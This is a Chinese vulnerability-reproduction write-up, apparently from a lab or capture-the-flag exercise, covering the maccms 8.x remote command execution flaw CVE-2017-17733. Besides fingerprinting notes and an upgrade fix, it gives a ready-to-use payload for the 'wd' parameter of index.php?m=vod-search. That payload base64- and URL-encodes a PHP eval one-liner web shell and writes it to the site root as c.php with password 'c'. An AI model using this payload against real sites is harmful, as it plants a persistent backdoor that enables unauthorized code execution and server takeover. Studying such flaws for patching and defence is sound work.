【漏洞复现】六、maccms 远程命令执行（CVE-2017-17733）

【漏洞复现】六、maccms 远程命令执行（CVE-2017-17733）

6.0、储备知识

1、可控参数

（审计）

2、fputs()函数

函数写入文件（可安全用于二进制文件），fputs() 函数是 fwrite() 函数的别名

fputs(file,string,length)

3、fopen() 函数

打开文件或者 URL，如果打开失败，本函数返回 FALSE

fopen(filename,mode,include_path,context)

6.1、漏洞原理

远程攻击者可借助index.php?m=vod-search请求中的‘wd’参数利用该漏洞执行命令

具体漏洞原理请移步至：​​黑色地带（崛起）的人类高质量文章​​

6.2、影响版本

maccms8.X 

6.3、指纹识别

1.页面源码中引用了/template/paody/路径的文件

2.使用指纹识别类平台识别。 

6.4、漏洞复现

漏洞点

http://ip:port/index.php?m=vod-search

在此页面抓包

方法一：change request method -->添加poc（poc内容如下）

内容为在网站根目录下生一个c.php的木马，连接密码为c

wd={if-A:print(fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}

这个马子进行了编码绕过，通过base64编码写入一句话木马<?php @eval($_POST[‘c’]); ?>

这个马子还做了url的编码

方法二：直接GET改POST后加入poc内容

flag-{bmh7d80d290-a5b8-43d4-bbb9-d7145a4b177b}

6.5、修补整改

升级新版本